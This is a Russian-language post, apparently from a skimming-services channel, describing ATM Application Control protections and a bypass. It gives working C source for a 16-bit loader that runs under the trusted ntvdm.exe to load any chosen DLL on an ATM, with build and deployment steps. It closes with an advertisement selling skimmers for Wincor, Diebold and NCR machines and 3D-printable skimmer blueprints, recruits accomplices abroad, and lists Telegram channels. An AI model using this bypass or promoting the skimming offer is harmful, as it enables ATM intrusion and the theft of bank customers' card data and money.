Как устроена защита банкоматов и один из способов ее обойти.
Сегодня рассказываем о защите банкоматов и банкомато-подобных устройст, а также способе ее обхода. Как, возможно, Вы знаете, на такие устройства ставят различного рода системы, от дремучих до последних версий десятки. В системе работает ряд приложений банковской направленности, и защита, разумеется. Имя этой защите — Application Control.
Проверка приложений осуществляется по признакам:
✔️ путь к исполняемому файлу;
✔️ контрольная сумма;
✔️ криптографическая подпись;
✔️ белый/черный список;
✔️ позволение использования только файлов с определёнными расширениями.
Эти способы используются, дополняя друг друга. Теперь о методах их обходов:
✔️ выполнение из-под доверенных приложений;
✔️ одинаковые контрольные суммы;
✔️ подмена DLL.
Хотелось бы уточнить, почему в начале мы использовали выражение «банкомато-подобные», — это возможность использования Application Control не только на банкоматах, что логично. Теперь к той части поста, который расскажет об обходе системы. Задействуем способ с выполнением из-под приложения, являющегося доверенным, в нашем случае это ntvdm.exe. В современных x86-системах Windows в контексте ntvdm можно исполнить 16-ти разрядное приложение. Нужно поднять виртуалку на Windows 95 и установить туда Microsoft Visual C 1.52c — последнюю версию, которая поддерживала сборку 16bit приложений:
<Windows.h>
DECLARE_HANDLE32(HPROC32);
DECLARE_HANDLE32(HINSTANCE32);
int main(int argc, char** argv)
{
HMODULE hModule;
HINSTANCE32 hDll;
HINSTANCE32 (WINAPI *LoadLibraryEx32W) (LPCSTR, DWORD, DWORD);
BOOL (WINAPI *FreeLibrary32W) (HINSTANCE32);
printf("begin" "\n");
if(argc != 2)
{
printf("Usage: loader.exe my.dll" "\n");
return 1;
}
hModule = GetModuleHandle("KERNEL");
if(!hModule)
{
printf("GetModuleHandle - %08X" "\n", hModule);
return 1;
}
(FARPROC) LoadLibraryEx32W = GetProcAddress(hModule, "LoadLibraryEx32W");
(FARPROC) FreeLibrary32W = GetProcAddress(hModule, "FreeLibrary32W");
if(!LoadLibraryEx32W || !FreeLibrary32W)
{
printf("GetProcAddress - %08X, %08X" "\n", LoadLibraryEx32W,FreeLibrary32W);
return 1;
}
hDll = LoadLibraryEx32W(argv[1], 0, 0);
if(!hDll)
{
printf("LoadLibraryEx32W - %08X" "\n", hDll);
return 1;
}
getchar();
FreeLibrary32W(hDll);
printf("end" "\n");
return 0;
}
Далее необходимо собрать это в исполняемый файл. Выбираем формат QuickWin, так как он не требует создания проекта. Получившийся файл скидывается на целевую систему и запускается, в качестве аргумента дается имя 32bit динамической библиотеки, которая должна находиться в той же папке. Это может быть любая библиотека — от выводящей Hello World до чего угодно.
скиммеры для Wincor, Diebold, NCR.
Возможна так же индивидуальная разработка и продажа чертежей, в том числе адаптированных для печати на 3D принтерах.
В команду нужны люди в разных странах
Наши официальные каналы:
English: https://t.me/skimmingserv
Russian: https://t.me/skimmingservice